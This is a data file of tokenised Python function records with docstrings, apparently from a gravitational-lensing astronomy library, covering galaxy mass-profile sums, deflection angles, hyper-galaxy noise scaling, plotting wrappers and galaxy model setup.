{"signature": "def convergence_from_grid(self, grid):", "body": "if self.has_mass_profile:<EOL><INDENT>return sum(map(lambda p: p.convergence_from_grid(grid), self.mass_profiles))<EOL><DEDENT>else:<EOL><INDENT>return np.zeros((grid.shape[<NUM_LIT:0>],))<EOL><DEDENT>", "docstring": "Compute the summed convergence of the galaxy's mass profiles using a grid of Cartesian (y,x) \\\n        coordinates.\n\n        If the galaxy has no mass profiles, a grid of zeros is returned.\n\n        See *profiles.mass_profiles* module for details of how this is performed.\n\n        Parameters\n        ----------\n        grid : ndarray\n            The (y, x) coordinates in the original reference frame of the grid.", "id": "f5958:c0:m15"}
{"signature": "def potential_from_grid(self, grid):", "body": "if self.has_mass_profile:<EOL><INDENT>return sum(map(lambda p: p.potential_from_grid(grid), self.mass_profiles))<EOL><DEDENT>else:<EOL><INDENT>return np.zeros((grid.shape[<NUM_LIT:0>],))<EOL><DEDENT>", "docstring": "Compute the summed gravitational potential of the galaxy's mass profiles using a grid of Cartesian (y,x) \\\n        coordinates.\n\n        If the galaxy has no mass profiles, a grid of zeros is returned.\n\n        See *profiles.mass_profiles* module for details of how this is performed.\n\n        Parameters\n        ----------\n        grid : ndarray\n            The (y, x) coordinates in the original reference frame of the grid.", "id": "f5958:c0:m16"}
{"signature": "def deflections_from_grid(self, grid):", "body": "if self.has_mass_profile:<EOL><INDENT>return sum(map(lambda p: p.deflections_from_grid(grid), self.mass_profiles))<EOL><DEDENT>else:<EOL><INDENT>return np.full((grid.shape[<NUM_LIT:0>], <NUM_LIT:2>), <NUM_LIT:0.0>)<EOL><DEDENT>", "docstring": "Compute the summed (y,x) deflection angles of the galaxy's mass profiles using a grid of Cartesian (y,x) \\\n        coordinates.\n\n        If the galaxy has no mass profiles, two grid of zeros are returned.\n\n        See *profiles.mass_profiles* module for details of how this is performed.\n\n        Parameters\n        ----------\n        grid : ndarray\n            The (y, x) coordinates in the original reference frame of the grid.", "id": "f5958:c0:m17"}
{"signature": "def mass_within_circle_in_units(self, radius, unit_mass='<STR_LIT>', kpc_per_arcsec=None, critical_surface_density=None):", "body": "if self.has_mass_profile:<EOL><INDENT>return sum(map(lambda p: p.mass_within_circle_in_units(radius=radius, unit_mass=unit_mass,<EOL>kpc_per_arcsec=kpc_per_arcsec,<EOL>critical_surface_density=critical_surface_density),<EOL>self.mass_profiles))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Compute the total angular mass of the galaxy's mass profiles within a circle of specified radius.\n\n        See *profiles.mass_profiles.mass_within_circle* for details of how this is performed.\n\n        Parameters\n        ----------\n        radius : float\n            The radius of the circle to compute the dimensionless mass within.\n        unit_mass : str\n            The units the mass is returned in (angular | solMass).\n        critical_surface_density : float\n            The critical surface mass density of the strong lens configuration, which converts mass from angulalr \\\n            units to physical units (e.g. solar masses).", "id": "f5958:c0:m18"}
{"signature": "def mass_within_ellipse_in_units(self, major_axis, unit_mass='<STR_LIT>', kpc_per_arcsec=None, critical_surface_density=None):", "body": "if self.has_mass_profile:<EOL><INDENT>return sum(map(lambda p: p.mass_within_ellipse_in_units(major_axis=major_axis, unit_mass=unit_mass,<EOL>kpc_per_arcsec=kpc_per_arcsec,<EOL>critical_surface_density=critical_surface_density),<EOL>self.mass_profiles))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Compute the total angular mass of the galaxy's mass profiles within an ellipse of specified major_axis.\n\n        See *profiles.mass_profiles.angualr_mass_within_ellipse* for details of how this is performed.\n\n        Parameters\n        ----------\n        major_axis : float\n            The major-axis radius of the ellipse.\n        units_luminosity : str\n            The units the luminosity is returned in (eps | counts).\n        exposure_time : float\n            The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5958:c0:m19"}
{"signature": "def einstein_radius_in_units(self, unit_length='<STR_LIT>', kpc_per_arcsec=None):", "body": "if self.has_mass_profile:<EOL><INDENT>return sum(map(lambda p: p.einstein_radius_in_units(unit_length=unit_length, kpc_per_arcsec=kpc_per_arcsec),<EOL>self.mass_profiles))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "The Einstein Radius of this galaxy, which is the sum of Einstein Radii of its mass profiles.\n\n        If the galaxy is composed of multiple ellipitcal profiles with different axis-ratios, this Einstein Radius \\\n        may be inaccurate. This is because the differently oriented ellipses of each mass profile", "id": "f5958:c0:m20"}
{"signature": "def einstein_mass_in_units(self, unit_mass='<STR_LIT>', critical_surface_density=None):", "body": "if self.has_mass_profile:<EOL><INDENT>return sum(<EOL>map(lambda p: p.einstein_mass_in_units(unit_mass=unit_mass,<EOL>critical_surface_density=critical_surface_density),<EOL>self.mass_profiles))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "The Einstein Mass of this galaxy, which is the sum of Einstein Radii of its mass profiles.\n\n        If the galaxy is composed of multiple ellipitcal profiles with different axis-ratios, this Einstein Mass \\\n        may be inaccurate. This is because the differently oriented ellipses of each mass profile", "id": "f5958:c0:m21"}
{"signature": "def __init__(self, contribution_factor=<NUM_LIT:0.0>, noise_factor=<NUM_LIT:0.0>, noise_power=<NUM_LIT:1.0>):", "body": "self.contribution_factor = contribution_factor<EOL>self.noise_factor = noise_factor<EOL>self.noise_power = noise_power<EOL>self.component_number = next(self._ids)<EOL>", "docstring": "If a *Galaxy* is given a *HyperGalaxy* as an attribute, the noise-map in the regions of the image that the \\\n        galaxy is located will be scaled, to prevent over-fitting of the galaxy. \n\n        This is performed by first computing the hyper-galaxy's 'contribution-map', which determines the fraction of \\\n        flux in every pixel of the image that can be associated with this particular hyper-galaxy. This is computed \\\n        using  hyper-hyper set (e.g. fitting.fit_data.FitDataHyper), which includes  best-fit unblurred_image_1d of \\\n        the galaxy's light from a previous analysis phase.\n\n        The *HyperGalaxy* class contains the hyper-parameters which are associated with this galaxy for scaling the \\\n        noise-map.\n\n        Parameters\n        -----------\n        contribution_factor : float\n            Factor that adjusts how much of the galaxy's light is attributed to the contribution map.\n        noise_factor : float\n            Factor by which the noise-map is increased in the regions of the galaxy's contribution map.\n        noise_power : float\n            The power to which the contribution map is raised when scaling the noise-map.", "id": "f5958:c1:m0"}
{"signature": "def contributions_from_model_image_and_galaxy_image(self, model_image, galaxy_image, minimum_value=<NUM_LIT:0.0>):", "body": "contributions = np.divide(galaxy_image, np.add(model_image, self.contribution_factor))<EOL>contributions = np.divide(contributions, np.max(contributions))<EOL>contributions[contributions < minimum_value] = <NUM_LIT:0.0><EOL>return contributions<EOL>", "docstring": "Compute the contribution map of a galaxy, which represents the fraction of flux in each pixel that the \\\n        galaxy is attributed to contain, scaled to the *contribution_factor* hyper-parameter.\n\n        This is computed by dividing that galaxy's flux by the total flux in that pixel, and then scaling by the \\\n        maximum flux such that the contribution map ranges between 0 and 1.\n\n        Parameters\n        -----------\n        model_image : ndarray\n            The best-fit model image to the observed image from a previous analysis phase. This provides the \\\n            total light attributed to each image pixel by the model.\n        galaxy_image : ndarray\n            A model image of the galaxy (from light profiles or an inversion) from a previous analysis phase.\n        minimum_value : float\n            The minimum contribution value a pixel must contain to not be rounded to 0.", "id": "f5958:c1:m2"}
{"signature": "def hyper_noise_from_contributions(self, noise_map, contributions):", "body": "return self.noise_factor * (noise_map * contributions) ** self.noise_power<EOL>", "docstring": "Compute a scaled galaxy hyper noise-map from a baseline noise-map.\n\n        This uses the galaxy contribution map and the *noise_factor* and *noise_power* hyper-parameters.\n\n        Parameters\n        -----------\n        noise_map : ndarray\n            The observed noise-map (before scaling).\n        contributions : ndarray\n            The galaxy contribution map.", "id": "f5958:c1:m3"}
{"signature": "@grids.sub_to_image_grid<EOL>def intensities_of_galaxies_from_grid(grid, galaxies):", "body": "if galaxies:<EOL><INDENT>return sum(map(lambda g: g.intensities_from_grid(grid), galaxies))<EOL><DEDENT>else:<EOL><INDENT>return np.full((grid.shape[<NUM_LIT:0>]), <NUM_LIT:0.0>)<EOL><DEDENT>", "docstring": "Compute the intensities of a list of galaxies from an input grid, by summing the individual intensities \\\n    of each galaxy's light profile.\n\n    If the input grid is a *grids.SubGrid*, the intensites is calculated on the sub-grid and binned-up to the \\\n    original regular grid by taking the mean value of every set of sub-pixels.\n\n    If no galaxies are entered into the function, an array of all zeros is returned.\n\n    Parameters\n    -----------\n    grid : RegularGrid\n        The grid (regular or sub) of (y,x) arc-second coordinates at the centre of every unmasked pixel which the \\\n        intensities are calculated on.\n    galaxies : [galaxy.Galaxy]\n        The galaxies whose light profiles are used to compute the surface densities.", "id": "f5959:m0"}
{"signature": "@grids.sub_to_image_grid<EOL>def convergence_of_galaxies_from_grid(grid, galaxies):", "body": "if galaxies:<EOL><INDENT>return sum(map(lambda g: g.convergence_from_grid(grid), galaxies))<EOL><DEDENT>else:<EOL><INDENT>return np.full((grid.shape[<NUM_LIT:0>]), <NUM_LIT:0.0>)<EOL><DEDENT>", "docstring": "Compute the convergence of a list of galaxies from an input grid, by summing the individual convergence \\\n    of each galaxy's mass profile.\n\n    If the input grid is a *grids.SubGrid*, the convergence is calculated on the sub-grid and binned-up to the \\\n    original regular grid by taking the mean value of every set of sub-pixels.\n\n    If no galaxies are entered into the function, an array of all zeros is returned.\n\n    Parameters\n    -----------\n    grid : RegularGrid\n        The grid (regular or sub) of (y,x) arc-second coordinates at the centre of every unmasked pixel which the \\\n        convergence is calculated on.\n    galaxies : [galaxy.Galaxy]\n        The galaxies whose mass profiles are used to compute the convergence.", "id": "f5959:m1"}
{"signature": "@grids.sub_to_image_grid<EOL>def potential_of_galaxies_from_grid(grid, galaxies):", "body": "if galaxies:<EOL><INDENT>return sum(map(lambda g: g.potential_from_grid(grid), galaxies))<EOL><DEDENT>else:<EOL><INDENT>return np.full((grid.shape[<NUM_LIT:0>]), <NUM_LIT:0.0>)<EOL><DEDENT>", "docstring": "Compute the potential of a list of galaxies from an input grid, by summing the individual potential \\\n    of each galaxy's mass profile.\n\n    If the input grid is a *grids.SubGrid*, the surface-density is calculated on the sub-grid and binned-up to the \\\n    original regular grid by taking the mean value of every set of sub-pixels.\n\n    If no galaxies are entered into the function, an array of all zeros is returned.\n\n    Parameters\n    -----------\n    grid : RegularGrid\n        The grid (regular or sub) of (y,x) arc-second coordinates at the centre of every unmasked pixel which the \\\n        potential is calculated on.\n    galaxies : [galaxy.Galaxy]\n        The galaxies whose mass profiles are used to compute the surface densities.", "id": "f5959:m2"}
{"signature": "def deflections_of_galaxies_from_grid(grid, galaxies):", "body": "if len(galaxies) > <NUM_LIT:0>:<EOL><INDENT>deflections = sum(map(lambda galaxy: galaxy.deflections_from_grid(grid), galaxies))<EOL><DEDENT>else:<EOL><INDENT>deflections = np.full((grid.shape[<NUM_LIT:0>], <NUM_LIT:2>), <NUM_LIT:0.0>)<EOL><DEDENT>if isinstance(grid, grids.SubGrid):<EOL><INDENT>return np.asarray([grid.regular_data_1d_from_sub_data_1d(deflections[:, <NUM_LIT:0>]),<EOL>grid.regular_data_1d_from_sub_data_1d(deflections[:, <NUM_LIT:1>])]).T<EOL><DEDENT>return deflections<EOL>", "docstring": "Compute the deflections of a list of galaxies from an input grid, by summing the individual deflections \\\n    of each galaxy's mass profile.\n\n    If the input grid is a *grids.SubGrid*, the potential is calculated on the sub-grid and binned-up to the \\\n    original regular grid by taking the mean value of every set of sub-pixels.\n\n    If no galaxies are entered into the function, an array of all zeros is returned.\n\n    Parameters\n    -----------\n    grid : RegularGrid\n        The grid (regular or sub) of (y,x) arc-second coordinates at the centre of every unmasked pixel which the \\\n        deflections is calculated on.\n    galaxies : [galaxy.Galaxy]\n        The galaxies whose mass profiles are used to compute the surface densities.", "id": "f5959:m3"}
{"signature": "def deflections_of_galaxies_from_sub_grid(sub_grid, galaxies):", "body": "if galaxies:<EOL><INDENT>return sum(map(lambda galaxy: galaxy.deflections_from_grid(sub_grid), galaxies))<EOL><DEDENT>else:<EOL><INDENT>return np.full((sub_grid.shape[<NUM_LIT:0>], <NUM_LIT:2>), <NUM_LIT:0.0>)<EOL><DEDENT>", "docstring": "Compute the deflections of a list of galaxies from an input sub-grid, by summing the individual deflections \\\n    of each galaxy's mass profile.\n\n    The deflections are calculated on the sub-grid and binned-up to the original regular grid by taking the mean value \\\n    of every set of sub-pixels.\n\n    If no galaxies are entered into the function, an array of all zeros is returned.\n\n    Parameters\n    -----------\n    sub_grid : RegularGrid\n        The grid (regular or sub) of (y,x) arc-second coordinates at the centre of every unmasked pixel which the \\\n        deflections is calculated on.\n    galaxies : [galaxy.Galaxy]\n        The galaxies whose mass profiles are used to compute the surface densities.", "id": "f5959:m4"}
{"signature": "def plot_intensities(<EOL>galaxy, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "intensities = galaxy.intensities_from_grid(grid=grid)<EOL>intensities = grid.scaled_array_2d_from_array_1d(intensities)<EOL>array_plotters.plot_array(<EOL>array=intensities, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the intensities (e.g. the datas) of a galaxy, on a regular grid of (y,x) coordinates.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    galaxy : model.galaxy.galaxy.Galaxy\n        The galaxy whose intensities are plotted.\n    grid : ndarray or datas.array.grid_stacks.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5960:m0"}
{"signature": "def plot_convergence(<EOL>galaxy, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "convergence = galaxy.convergence_from_grid(grid=grid)<EOL>convergence = grid.scaled_array_2d_from_array_1d(convergence)<EOL>array_plotters.plot_array(<EOL>array=convergence, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the convergence of a galaxy, on a regular grid of (y,x) coordinates.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    galaxy : model.galaxy.galaxy.Galaxy\n        The galaxy whose convergence is plotted.\n    grid : ndarray or datas.array.grid_stacks.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5960:m1"}
{"signature": "def plot_potential(<EOL>galaxy, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "potential = galaxy.potential_from_grid(grid=grid)<EOL>potential = grid.scaled_array_2d_from_array_1d(potential)<EOL>array_plotters.plot_array(<EOL>array=potential, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the potential of a galaxy, on a regular grid of (y,x) coordinates.\n\n     Set *autolens.datas.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n     Parameters\n     -----------\n    galaxy : model.galaxy.galaxy.Galaxy\n         The galaxy whose potential is plotted.\n    grid : ndarray or datas.array.grid_stacks.RegularGrid\n         The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5960:m2"}
{"signature": "def plot_deflections_y(<EOL>galaxy, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "deflections = galaxy.deflections_from_grid(grid)<EOL>deflections_y = grid.scaled_array_2d_from_array_1d(deflections[:, <NUM_LIT:0>])<EOL>array_plotters.plot_array(<EOL>array=deflections_y, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the y component of the deflection angles of a galaxy, on a regular grid of (y,x) coordinates.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    galaxy : model.galaxy.galaxy.Galaxy\n        The galaxy whose y deflecton angles are plotted.\n    grid : ndarray or datas.array.grid_stacks.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5960:m3"}
{"signature": "def plot_deflections_x(<EOL>galaxy, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "deflections = galaxy.deflections_from_grid(grid)<EOL>deflections_x = grid.scaled_array_2d_from_array_1d(deflections[:, <NUM_LIT:1>])<EOL>array_plotters.plot_array(<EOL>array=deflections_x, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the x component of the deflection angles of a galaxy, on a regular grid of (y,x) coordinates.\n\n     Set *autolens.datas.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n     Parameters\n     -----------\n    galaxy : model.galaxy.galaxy.Galaxy\n         The galaxy whose x deflecton angles are plotted.\n     grid : ndarray or datas.array.grid_stacks.RegularGrid\n         The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5960:m4"}
{"signature": "def __init__(self, galaxy_data, model_galaxies):", "body": "self.galaxy_data = galaxy_data<EOL>self.model_galaxies = model_galaxies<EOL>model_data_1d = galaxy_data.profile_quantity_from_galaxy_and_sub_grid(galaxies=model_galaxies,<EOL>sub_grid=galaxy_data.grid_stack.sub)<EOL>super(GalaxyFit, self).__init__(data=galaxy_data.image, noise_map=galaxy_data.noise_map,<EOL>mask=galaxy_data.mask,<EOL>model_data=galaxy_data.map_to_scaled_array(array_1d=model_data_1d))<EOL>", "docstring": "Class which fits a set of galaxy-datas to a model galaxy, using either the galaxy's intensities, \\\n        surface-density or potential.\n\n        Parameters\n        ----------\n        galaxy_data : GalaxyData\n            The galaxy-datas object being fitted.\n        model_galaxies : galaxy.Galaxy\n            The model galaxy used to fit the galaxy-datas.", "id": "f5962:c0:m0"}
{"signature": "def is_light_profile_class(cls):", "body": "return inspect.isclass(cls) and issubclass(cls, light_profiles.LightProfile)<EOL>", "docstring": "Parameters\n----------\ncls\n    Some object\n\nReturns\n-------\nbool: is_light_profile_class\n    True if cls is a class that inherits from light profile", "id": "f5963:m0"}
{"signature": "def is_mass_profile_class(cls):", "body": "return inspect.isclass(cls) and issubclass(cls, mass_profiles.MassProfile)<EOL>", "docstring": "Parameters\n----------\ncls\n    Some object\n\nReturns\n-------\nbool: is_mass_profile_class\n    True if cls is a class that inherits from mass profile", "id": "f5963:m1"}
{"signature": "def is_profile_class(cls):", "body": "return is_light_profile_class(cls) or is_mass_profile_class(cls)<EOL>", "docstring": "Parameters\n----------\ncls\n    Some object\n\nReturns\n-------\nbool: is_mass_profile_class\n    True if cls is a class that inherits from light profile or mass profile", "id": "f5963:m2"}
{"signature": "def __init__(self, align_centres=False, align_axis_ratios=False, align_orientations=False, redshift=None,<EOL>pixelization=None, regularization=None, hyper_galaxy=None, **kwargs):", "body": "super().__init__()<EOL>self.align_centres = align_centres<EOL>self.align_axis_ratios = align_axis_ratios<EOL>self.align_orientations = align_orientations<EOL>profile_models = []<EOL>for name, cls in kwargs.items():<EOL><INDENT>if is_mass_profile_class(cls) or is_light_profile_class(cls):<EOL><INDENT>model = pm.PriorModel(cls)<EOL>profile_models.append(model)<EOL>setattr(self, name, model)<EOL><DEDENT>else:<EOL><INDENT>setattr(self, name, cls)<EOL><DEDENT><DEDENT>if len(profile_models) > <NUM_LIT:0>:<EOL><INDENT>if self.align_centres:<EOL><INDENT>centre = profile_models[<NUM_LIT:0>].centre<EOL>for profile_model in profile_models:<EOL><INDENT>profile_model.centre = centre<EOL><DEDENT><DEDENT>if self.align_axis_ratios:<EOL><INDENT>axis_ratio = profile_models[<NUM_LIT:0>].axis_ratio<EOL>for profile_model in profile_models:<EOL><INDENT>profile_model.axis_ratio = axis_ratio<EOL><DEDENT><DEDENT>if self.align_orientations:<EOL><INDENT>phi = profile_models[<NUM_LIT:0>].phi<EOL>for profile_model in profile_models:<EOL><INDENT>profile_model.phi = phi<EOL><DEDENT><DEDENT><DEDENT>self.redshift = pm.PriorModel(redshift) if inspect.isclass(redshift) else redshift<EOL>if pixelization is not None and regularization is None:<EOL><INDENT>raise exc.PriorException('<STR_LIT>')<EOL><DEDENT>if pixelization is None and regularization is not None:<EOL><INDENT>raise exc.PriorException('<STR_LIT>')<EOL><DEDENT>self.pixelization = pm.PriorModel(pixelization) if inspect.isclass(<EOL>pixelization) else pixelization<EOL>self.regularization = pm.PriorModel(regularization) if inspect.isclass(<EOL>regularization) else regularization<EOL>self.hyper_galaxy = pm.PriorModel(hyper_galaxy) if inspect.isclass(hyper_galaxy) else hyper_galaxy<EOL>", "docstring": "Class to produce Galaxy instances from sets of profile classes and other model-fitting attributes (e.g. \\\n         pixelizations, regularization schemes, hyper-galaxyes) using the model mapper.\n\n        Parameters\n        ----------\n        light_profile_classes: [LightProfile]\n            The *LightProfile* classes for which model light profile instances are generated for this galaxy model.\n        mass_profile_classes: [MassProfile]\n            The *MassProfile* classes for which model mass profile instances are generated for this galaxy model.\n        align_centres : bool\n            If *True*, the same prior will be used for all the profiles centres, such that all light and / or mass \\\n            profiles always share the same origin.\n        align_axis_ratios : bool\n            If *True*, the same prior will be used for all the profiles axis-ratio, such that all light and / or mass \\\n            profiles always share the same axis-ratio.\n        align_orientations : bool\n            If *True*, the same prior will be used for all the profiles rotation angles phi, such that all light \\\n            and / or mass profiles always share the same orientation.\n        redshift : float | Type[g.Redshift]\n            The redshift of this model galaxy.\n        variable_redshift : bool\n            If *True*, the galaxy redshift will be treated as a free-parameter that is fitted for by the non-linear \\\n            search.\n        pixelization : Pixelization\n            The pixelization used to reconstruct the galaxy light and fit the observed regular if using an inversion.\n        regularization : Regularization\n            The regularization-scheme used to regularization reconstruct the galaxy light when fitting the observed \\\n            regular if using an inversion.\n        hyper_galaxy : HyperGalaxy\n            A model hyper-galaxy used for scaling the observed regular's noise_map.", "id": "f5963:c0:m1"}
{"signature": "@property<EOL><INDENT>def constant_light_profiles(self):<DEDENT>", "body": "return [value for value in self.__dict__.values() if galaxy.is_light_profile(value)]<EOL>", "docstring": "Returns\n-------\nlight_profiles: [light_profiles.LightProfile]\n    Light profiles with set variables", "id": "f5963:c0:m2"}
